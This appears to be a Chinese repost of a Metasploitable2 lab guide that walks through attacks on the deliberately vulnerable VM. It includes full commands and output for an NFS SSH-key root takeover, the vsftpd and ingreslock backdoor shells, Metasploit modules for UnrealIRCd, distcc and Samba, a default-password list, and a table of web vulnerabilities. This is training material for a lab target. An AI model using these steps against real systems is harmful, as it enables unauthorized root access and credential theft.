分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 代码编程

Metasploitable2使用指南

发布时间:2023-09-06 01:42责任编辑:蔡小小关键词:暂无标签

Metasploitable2使用指南

Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。(注:一个关于如何安装的视频教程已经可以访问在VirtualBoxHost中安装Metasploitable2.0教程)

这篇文档罗列了Metasploitable2的虚拟系统中的许多安全缺陷。目前缺少关于web服务器和web应用方面的安全缺陷。这些缺陷允许本地用户提权是root权限。随着时间的推移,这篇文档会继续更新Metasploitable中不太重要的安全缺陷。

开始工作

当虚拟系统启动之后,使用用户名msfadmin,和密码msfadmin登陆。使用shell运行ifconfig命令来确认IP地址。

msfadmin@metasploitable:~$ifconfigeth0Linkencap:EthernetHWaddr00:0c:29:9a:52:c1inetaddr:192.168.99.131Bcast:192.168.99.255Mask:255.255.255.0inet6addr:fe80::20c:29ff:fe9a:52c1/64Scope:LinkUPBROADCASTRUNNINGMULTICASTMTU:1500Metric:1

服务

作为攻击者的操作系统(linux,大多数时候使用BackTrack),我们需要在虚拟机中通过使用nmap来辨认开放的端口。接下来的命令能够扫描目标系统-Metasploitable2的所有TCP端口。

root@ubuntu:~#nmap-p0-65535192.168.99.131

StartingNmap5.61TEST4(http://nmap.org)at2012-05-3121:14PDT

Nmapscanreportfor192.168.99.131

Hostisup(0.00028slatency).

Notshown:65506closedports

PORTSTATESERVICE

21/tcpopenftp

22/tcpopenssh

23/tcpopentelnet

25/tcpopensmtp

53/tcpopendomain

80/tcpopenhttp

111/tcpopenrpcbind

139/tcpopennetbios-ssn

445/tcpopenmicrosoft-ds

512/tcpopenexec

513/tcpopenlogin

514/tcpopenshell

1099/tcpopenrmiregistry

1524/tcpopeningreslock

2049/tcpopennfs

2121/tcpopenccproxy-ftp

3306/tcpopenmysql

3632/tcpopendistccd

5432/tcpopenpostgresql

5900/tcpopenvnc

6000/tcpopenX11

6667/tcpopenirc

6697/tcpopenunknown

8009/tcpopenajp13

8180/tcpopenunknown

8787/tcpopenunknown

39292/tcpopenunknown

43729/tcpopenunknown

44813/tcpopenunknown

55852/tcpopenunknown

MACAddress:00:0C:29:9A:52:C1(VMware)

目标系统中几乎每一个端口监听的服务都给我们提供一个远程接入点。在接下来的章节中,我们将会漫步于这些路径之中。

服务:Unix基础

TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts++)。要利用这个配置,确保rsh客户端已经安装(在ubuntu上),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh客户端没有安装,ubuntu一般默认使用SSH。

#rlogin-lroot192.168.99.131Lastlogin:FriJun100:10:39EDT2012from:0.0onpts/0Linuxmetasploitable2.6.24-16-server#1SMPThuApr1013:58:00UTC2008i686

这是如此轻而易举办到。接下来我们要查看的是网络文件系统(NFS)。NFS可以通过扫描2049端口或者查询端口映射程序的服务列表进行确认。下面的列子我们将通过rpcinfo来确认NFS,通过showmount-e来确定“/”共享(文件系统的根目录)已经被导出。我们需要安装ubuntu中的rpcbind和nfs-common的依赖包。

root@ubuntu:~#rpcinfo-p192.168.99.131

programversprotoportservice

1000002tcp111portmapper

1000002udp111portmapper

1000241udp53318status

1000241tcp43729status

1000032udp2049nfs

1000033udp2049nfs

1000034udp2049nfs

1000211udp46696nlockmgr

1000213udp46696nlockmgr

1000214udp46696nlockmgr

1000032tcp2049nfs

1000033tcp2049nfs

1000034tcp2049nfs

1000211tcp55852nlockmgr

1000213tcp55852nlockmgr

1000214tcp55852nlockmgr

1000051udp34887mountd

1000051tcp39292mountd

1000052udp34887mountd

1000052tcp39292mountd

1000053udp34887mountd

1000053tcp39292mountd

root@ubuntu:~#showmount-e192.168.99.131

Exportlistfor192.168.99.131:

/*

获取一个系统的可写入的文件系统权限是很简单的。我们需要在攻击者的系统上创建一个新的SSH秘钥,挂载NFS接口,然后把我们的秘钥添加到root使用者账号的认证秘钥文件里:

root@ubuntu:~#ssh-keygen

Generatingpublic/privatersakeypair.

Enterfileinwhichtosavethekey(/root/.ssh/id_rsa):

Enterpassphrase(emptyfornopassphrase):

Entersamepassphraseagain:

Youridentificationhasbeensavedin/root/.ssh/id_rsa.

Yourpublickeyhasbeensavedin/root/.ssh/id_rsa.pub.

root@ubuntu:~#mkdir/tmp/r00t

root@ubuntu:~#mount-tnfs192.168.99.131://tmp/r00t/

root@ubuntu:~#cat~/.ssh/id_rsa.pub>>/tmp/r00t/root/.ssh/authorized_keys

root@ubuntu:~#umount/tmp/r00t

root@ubuntu:~#sshroot@192.168.99.131

Lastlogin:FriJun100:29:332012from192.168.99.128

Linuxmetasploitable2.6.24-16-server#1SMPThuApr1013:58:00UTC2008i686

服务:后门

Metasploitable2在21端口上运行着vsftpd服务,一个使用广泛的FTP服务。这个特别的版本包含一个后门允许一个未知的入侵者进入核心代码。这个后门很快就被确认并且移除。但是移除之前已经被少数人下载下来。如果在发送的用户名后面加上”:)“(笑脸符号),这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击。

root@ubuntu:~#telnet192.168.99.13121

Trying192.168.99.131…

Connectedto192.168.99.131.

Escapecharacteris'^]'.

220(vsFTPd2.3.4)

userbackdoored:)

331Pleasespecifythepassword.

passinvalid

^]

telnet>quit

Connectionclosed.

root@ubuntu:~#telnet192.168.99.1316200

Trying192.168.99.131…

Connectedto192.168.99.131.

Escapecharacteris'^]'.

id;

uid=0(root)gid=0(root)

在Metasploitable2的6667端口上运行着UnreaIRCDIRC的守护进程。这个版本包含一个后门-运行了几个月都没被注意到。通过在一个系统命令后面添加两个字母”AB“发送给被攻击服务器任意一个监听该端口来触发。metasploit上已经已经有攻击模块来获得一个交互的shell,请看下面列子。

msfconsole

msf>useexploit/unix/irc/unreal_ircd_3281_backdoor

msfexploit(unreal_ircd_3281_backdoor)>setRHOST192.168.99.131

msfexploit(unreal_ircd_3281_backdoor)>exploit

[*]Startedreversedoublehandler

[*]Connectedto192.168.99.131:6667…

:irc.Metasploitable.LANNOTICEAUTH:***Lookingupyourhostname..

:irc.Metasploitable.LANNOTICEAUTH:***Couldn'tresolveyourhostname;usingyourIPaddressinstead

[*]Sendingbackdoorcommand…

[*]Acceptedthefirstclientconnection…

[*]Acceptedthesecondclientconnection…

[*]Command:echo8bMUYsfmGvOLHBxe;

[*]WritingtosocketA

[*]WritingtosocketB

[*]Readingfromsockets…

[*]ReadingfromsocketB

[*]B:"8bMUYsfmGvOLHBxe\r\n"

[*]Matching…

[*]Aisinput…

[*]Commandshellsession1opened(192.168.99.128:4444->192.168.99.131:60257)at2012-05-3121:53:59-0700

id

uid=0(root)gid=0(root)

在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。它的利用是如此简单。

root@ubuntu:~#telnet192.168.99.1311524

Trying192.168.99.131…

Connectedto192.168.99.131.

Escapecharacteris'^]'.

root@metasploitable:/#id

uid=0(root)gid=0(root)groups=0(root)

服务:无意识的后门

除了上个部分介绍的恶意的后门以外,一些程序的性质本身就类似后门。Metasploitable2最先安装的是distccd。这个程序可以使大量代码在网络服务器上进行分布式编译。问题是攻击者可以滥用它来实现一些他们想运行的命令。metasploit在下面例子里证明。

msfconsole

msf>useexploit/unix/misc/distcc_exec

msfexploit(distcc_exec)>setRHOST192.168.99.131

msfexploit(distcc_exec)>exploit

[*]Startedreversedoublehandler

[*]Acceptedthefirstclientconnection…

[*]Acceptedthesecondclientconnection…

[*]Command:echouk3UdiwLUq0LX3Bi;

[*]WritingtosocketA

[*]WritingtosocketB

[*]Readingfromsockets…

[*]ReadingfromsocketB

[*]B:"uk3UdiwLUq0LX3Bi\r\n"

[*]Matching…

[*]Aisinput…

[*]Commandshellsession1opened(192.168.99.128:4444->192.168.99.131:38897)at2012-05-3122:06:03-0700

id

uid=1(daemon)gid=1(daemon)groups=1(daemon)

samba,当配置为文件权限可写同时"widelinks"被允许(默认就是允许),同样可以被作为后门而仅仅是文件共享。下面例子里,metasploit提供一个攻击模块,允许接入一个root文件系统通过一个匿名接入和可写入的共享设置。

root@ubuntu:~#smbclient-L//192.168.99.131

Anonymousloginsuccessful

Domain=[WORKGROUP]OS=[Unix]Server=[Samba3.0.20-Debian]

SharenameTypeComment

————-——-

print$DiskPrinterDrivers

tmpDiskohnoes!

optDisk

IPC$IPCIPCService(metasploitableserver(Samba3.0.20-Debian))

ADMIN$IPCIPCService(metasploitableserver(Samba3.0.20-Debian))

root@ubuntu:~#msfconsole

msf>useauxiliary/admin/smb/samba_symlink_traversal

msfauxiliary(samba_symlink_traversal)>setRHOST192.168.99.131

msfauxiliary(samba_symlink_traversal)>setSMBSHAREtmp

msfauxiliary(samba_symlink_traversal)>exploit

[*]Connectingtotheserver…

[*]Tryingtomountwriteableshare'tmp'…

[*]Tryingtolink'rootfs'totherootfilesystem…

[*]Nowaccessthefollowingsharetobrowsetherootfilesystem:

[*]\\192.168.99.131\tmp\rootfs\

msfauxiliary(samba_symlink_traversal)>exit

root@ubuntu:~#smbclient//192.168.99.131/tmp

Anonymousloginsuccessful

Domain=[WORKGROUP]OS=[Unix]Server=[Samba3.0.20-Debian]

smb:\>cdrootfs

smb:\rootfs\>cdetc

smb:\rootfs\etc\>morepasswd

gettingfile\rootfs\etc\passwdofsize1624as/tmp/smbmore.ufiyQf(317.2KiloBytes/sec)(average317.2KiloBytes/sec)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[..]

弱口令

除了上面介绍的公开的后门和错误配置以外,Metasploit2上不管是系统还是数据口账户都有非常严重的弱口令问题。最初的管理员登陆密码和登录名msfadmin相同。通过查看系统的用户名表,我们可以通过使用缺陷来捕获passwd文件,或者通过Samba枚举这些用户,或者通过暴力破解来获得账号密码。系统中至少有一下弱口令。

AccountNamePassword
msfadminmsfadmin
useruser
postgrespostgres
sysbatman
klog123456789
serviceservice

除了这些系统层面的账户,PostgreSQL服务可以通过默认的用户名postgres和密码postgres登陆。MySQL服务也开放,用户名为root同时为空口令。VNC服务提供一个远程桌面接入服务通过使用默认的密码password可以登陆。

易受攻击的web服务

Metasploitable2特意预装了易受攻击的web应用。当系统启动以后web服务会自动运行。访问web应用的方法是,打开一浏览器然后输入网址http://<IP>,<IP>就是系统的IP地址。

在这个例子里,系统运行IP地址192.168.56.101.打开http://192.168.56.101/来查看web应用的主页。

访问特定的web应用可以点击首页的超链接。如果个人的web应用如果需要被访问,需要在后面增加特定的文件路径。http://<IP>来创建URLhttp://<IP>/<应用文件夹>/。举个例子,Mutillidae需要被访问,在这个例子访问地址为http://192.168.56.101/mutillidae/。而这个应用被安装在系统/var/www这个文件夹里。(注:可以通过以下命令查看ls/var/www)。

在写这篇文章的当前版本,所有web应用程序

  • mutillidae(NOWASPMutillidae2.1.19)dvwa(DamnVulnerableWebApplication)phpMyAdmintikiwiki(TWiki)tikiwiki-olddav(WebDav)

易受攻击的web服务:Mutillidae

Mutillidaeweb应用包含OWASP上前十可利用的攻击漏洞,包括HTML-5webstorage,formscaching,andclick-jacking等。收DVWA启发,Mutillidae允许使用者更改安全等级从0(完全没有安全意识)到5(安全)。另外提供三个层次,从“0级-我自己搞”(不要提示)到“2级-小白”(使劲提示)。如果Mutillidae在我们使用注入攻击或者黑的过程中搞坏了,点击"ResetDB"按钮回复出厂设置。

通过单击菜单栏上的"切换提示"按钮启用应用程序中的提示:

Mutillidae包含至少以下可被攻击的漏洞

PageVulnerabilities
add-to-your-blog.php

SQLInjectiononblogentry

SQLInjectiononloggedinusername

Crosssitescriptingonblogentry

Crosssitescriptingonloggedinusername

Loginjectiononloggedinusername

CSRF

JavaScriptvalidationbypass

XSSintheformtitlevialoggedinusername

Theshow-hintscookiecanbechangedbyusertoenablehintseventhoughtheyarenotsupposetoshowinsecuremode

arbitrary-file-inclusion.php

Systemfilecompromise

Loadanypagefromanysite

browser-info.php

XSSviarefererHTTPheader

JSInjectionviarefererHTTPheader

XSSviauser-agentstringHTTPheader

capture-data.php
XSSviaanyGET,POST,orCookie
captured-data.phpXSSviaanyGET,POST,orCookie
config.inc*Containsunencrytpeddatabasecredentials
credits.phpUnvalidatedRedirectsandForwards
dns-lookup.php

Crosssitescriptingonthehost/ipfield

O/SCommandinjectiononthehost/ipfield

Thispagewritestothelog.SQLiandXSSonthelogarepossible

GETforPOSTispossiblebecauseonlyreadingPOSTedvariablesisnotenforced.

footer.php*CrosssitescriptingviatheHTTP_USER_AGENTHTTPheader.
framing.phpClick-jacking
header.php*

XSSvialoggedinusernameandsignature

TheSetup/resettheDBmenuitemcanbeenabledbysettingtheuidvalueofthecookieto1

html5-storage.phpDOMinjectionontheadd-keyerrormessagebecausethekeyenteredisoutputintotheerrormessagewithoutbeingencoded
index.php*

YoucanXSSthehints-enabledoutputinthemenubecauseittakesinputfromthehints-enabledcookievalue.

YoucanSQLinjectiontheUIDcookievaluebecauseitisusedtodoalookup

YoucanchangeyourranktoadminbyalteringtheUIDvalue

HTTPResponseSplittingviatheloggedinusernamebecauseitisusedtocreateanHTTPHeader

Thispageisresponsibleforcache-controlbutfailstodoso

ThispageallowstheX-Powered-ByHTTPheader

HTMLcomments

Therearesecretpagesthatifbrowsedtowillredirectusertothephpinfo.phppage.Thiscanbedoneviabruteforcing

log-visit.php

SQLinjectionandXSSviarefererHTTPheader

SQLinjectionandXSSviauser-agentstring

login.php

AuthenticationbypassSQLinjectionviatheusernamefieldandpasswordfield

SQLinjectionviatheusernamefieldandpasswordfield

XSSviausernamefield

JavaScriptvalidationbypass

password-generator.phpJavaScriptinjection
pen-test-tool-lookup.phpJSONinjection
phpinfo.php

ThispagegivesawaythePHPserverconfiguration

Applicationpathdisclosure

Platformpathdisclosure

process-commands.phpCreatescookiesbutdoesnotmakethemHTMLonly
process-login-attempt.phpSameaslogin.php.Thisistheactionpage.
redirectandlog.phpSameascredits.php.Thisistheactionpage
register.phpSQLinjectionandXSSviatheusername,signatureandpasswordfield
rene-magritte.phpClick-jacking
robots.txtContainsdirectoriesthataresupposedtobeprivate
secret-administrative-pages.phpThispagegiveshintsabouthowtodiscovertheserverconfiguration
set-background-color.phpCascadingstylesheetinjectionandXSSviathecolorfield
show-log.php

DenialofServiceifyoufillupthelog

XSSviathehostname,clientIP,browserHTTPheader,RefererHTTPheader,anddatefields

site-footer-xss-discusson.phpXSSviatheuseragentstringHTTPheader
source-viewer.phpLoadingofanyarbitraryfileincludingoperatingsystemfiles.
text-file-viewer.php

LoadingofanyarbitrarywebpageontheInteretorlocallyincludingthesitespasswordfiles.

Phishing

user-info.php

SQLinjectiontodumpallusernamesandpasswordsviatheusernamefieldorthepasswordfield

XSSviaanyofthedisplayedfields.InjecttheXSSontheregister.phppage.

XSSviatheusernamefield

user-poll.php

Parameterpollution

GETforPOST

XSSviathechoiceparameter

Crosssiterequestforgerytoforceuserchoice

view-someones-blog.phpXSSviaanyofthedisplayedfields.Theyareinputontheaddtoyourblogpage.

易被攻击的web服务:DVWA

从DVWA主页可以看到:“该死的容易被攻击的web应用(DVWA)的架构为PHP/MySQ。其主要目标是要帮助安全专业人员来测试他们的技能和工具在法律允许的情况下,

帮助web开发人员更好地了解保护web应用程序的过程和作为课堂演示。

Defaultusername=admin
Defaultpassword=password

易被攻击的web服务:InformationDisclosure

另外,不恰当的PHP信息披露也可以在http://<IP>/phpinfo.php找到。在这个例子里,链接地址为http://192.168.56.101/phpinfo.php。PHP信息泄露提供了内部系统的信息和服务可以用来查找安全漏洞的版本信息。举个例子,注意到在截图中披露的PHP的版本是5.2.4,可能存在可以利用的漏洞,有可能系统存在CVE–2012-1823和CVE–2012-2311,影响PHP5.3.12和5.4.x前5.4.2之前的版本。

metasploitable2下载址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2

[原文地址:https://community.rapid7.com/docs/DOC-1875版权归原作者所有,仅供学习交流之用]

Metasploitable2使用指南

原文地址:https://www.cnblogs.com/lsgxeva/p/8450283.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved